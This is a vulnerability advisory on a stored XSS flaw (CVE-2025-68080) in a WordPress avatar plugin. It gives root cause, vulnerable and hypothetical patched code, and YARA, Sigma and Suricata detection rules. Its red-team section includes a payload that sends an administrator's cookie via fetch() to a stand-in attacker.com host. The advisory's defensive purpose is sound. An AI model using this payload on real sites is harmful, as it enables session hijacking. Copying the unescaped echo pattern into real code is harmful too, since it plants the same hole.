CVE-2025-68080

Executive Summary

CVE-2025-68080 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin User Avatar - Reloaded, developed by Saad Iqbal. The vulnerability exists in versions up to and including 1.2.2. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into the user avatar upload or profile fields. This malicious script is stored on the server and executed in the browser of any administrator or visitor viewing the affected page, leading to session hijacking, defacement, or credential theft. The CVSS score is 6.5 (Medium), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk increases as details become public.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or manually from the repository are affected. There is no known compromise of the plugin’s distribution channel, but the lack of a patch means the plugin should be considered untrusted until updated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the infected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS makes it highly effective against administrators.

Deep Dive & Mechanics

The vulnerability resides in the user-avatar-reloaded plugin’s handling of user profile data, specifically the avatar URL or display name fields. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and later rendering it in the admin dashboard or frontend.

Attack Flow:

1. An attacker with contributor-level access navigates to their profile page.
2. The attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into the avatar URL field.
3. The plugin stores the payload without sanitization.
4. When an administrator visits the user list or profile page, the payload executes in their browser.
5. The attacker can steal cookies, perform actions on behalf of the admin, or deface the site.

Root Cause: The plugin uses echo get_user_meta($user_id, 'user_avatar_url', true); without applying esc_url() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.2):

// In user-avatar-reloaded.php
function display_user_avatar($user_id) {
    $avatar_url = get_user_meta($user_id, 'user_avatar_url', true);
    echo '<img src="' . $avatar_url . '" />';
}

Patched Code (hypothetical):

function display_user_avatar($user_id) {
    $avatar_url = get_user_meta($user_id, 'user_avatar_url', true);
    $safe_url = esc_url($avatar_url);
    echo '<img src="' . $safe_url . '" />';
}

The patch adds esc_url() to sanitize the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with User Avatar - Reloaded <= 1.2.2.
• Contributor-level account credentials.

Steps:

1. Log in as contributor.
2. Navigate to Users > Your Profile.
3. In the "Avatar URL" field, enter:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save profile.
5. Wait for an admin to view the user list or profile page.

Expected Result: The admin’s session cookie is exfiltrated to the attacker’s server.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual strings in user_avatar_url meta field.
• Look for outbound connections to unknown domains from admin browsers.

Prevention:

• Disable the plugin immediately.
• Use a Web Application Firewall (WAF) with XSS rules.
• Implement Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/user-avatar-reloaded/user-avatar-reloaded.php (version 1.2.2)
• Database Entry: wp_usermeta where meta_key = 'user_avatar_url' contains <script> tags or encoded JavaScript.
• Network: Outbound HTTP requests to domains not in the site’s allowlist, especially from admin user agents.
• Logs: WordPress debug log entries showing unexpected output in user profile pages.

Detection Engineering

YARA Rule

rule CVE_2025_68080_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in User Avatar - Reloaded plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68080"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via User Avatar - Reloaded
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payload in user_avatar_url meta field
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: 'user_avatar_url'
        meta_value|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in avatar URL (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68080 Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit user meta for malicious payloads using SQL:

   SELECT * FROM wp_usermeta WHERE meta_key = 'user_avatar_url' AND meta_value LIKE '%<script%';
   

3. Reset all user sessions to invalidate stolen cookies.

Long-term Fix:

• Replace the plugin with an alternative (e.g., "WP User Avatar").
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers.

Patch Status: No official patch available. Users must manually remove or replace the plugin.

Valters IT
Securing Digital Frontiers